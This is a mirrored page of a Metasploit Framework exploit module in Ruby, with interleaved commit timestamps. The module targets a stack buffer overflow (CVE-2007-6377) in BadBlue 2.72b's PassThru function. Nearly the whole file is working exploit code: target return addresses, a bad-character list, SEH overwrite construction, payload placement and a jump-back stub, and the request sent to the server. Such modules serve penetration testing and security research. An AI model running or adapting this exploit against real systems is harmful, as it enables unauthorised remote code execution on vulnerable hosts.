1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00
metasploit-framework/modules/exploits/windows/http/badblue_passthru.rb

93 lines
2.9 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 23:28:54 +02:00
Rank = GreatRanking
2013-08-30 23:28:54 +02:00
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
# However, a proper Server header is returned when requesting /index.html or using HEAD.
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
2013-08-30 23:28:54 +02:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Seh
2013-08-30 23:28:54 +02:00
def initialize(info = {})
super(update_info(info,
'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the PassThru
functionality in ext.dll in BadBlue 2.72b and earlier.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2007-6377'],
['OSVDB', '42416'],
['BID', '26803'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
'StackAdjustment' => -3500,
#'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
# This is the version being distributed on badblue.com as of Jul 7th 2010
[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
[ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ] # pop/pop/ret from ext.dll v1.0.0.1
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 10 2007'))
end
2013-08-30 23:28:54 +02:00
def exploit
seh_offset = 4116
#sploit = Rex::Text.pattern_create(seh_offset)
sploit = rand_text(seh_offset)
# Need to jump over the nul byte
seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
sploit << seh
2013-08-30 23:28:54 +02:00
plen = payload.encoded.length
sploit[seh_offset - 16 - plen, plen] = payload.encoded
2013-08-30 23:28:54 +02:00
# This pointer will force a crash when it is used in a lock instruction
ptr = rand_text(3)
ptr << [0x80|rand(256)].pack('C')
sploit[seh_offset - 8,4] = ptr
2013-08-30 23:28:54 +02:00
# These two bytes get corrupted, so we can't use them.
sploit << rand_text(2)
2013-08-30 23:28:54 +02:00
# jump back to the payload
distance = 2 + 8 + 16 + plen
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
2013-08-30 23:28:54 +02:00
# Build the final URI
uri = "/ext.dll?mfcisapicommand=PassThru&"
uri << sploit
2013-08-30 23:28:54 +02:00
print_status("Trying target %s..." % target.name)
send_request_raw({ 'uri' => uri }, 5)
2013-08-30 23:28:54 +02:00
handler
disconnect
end
end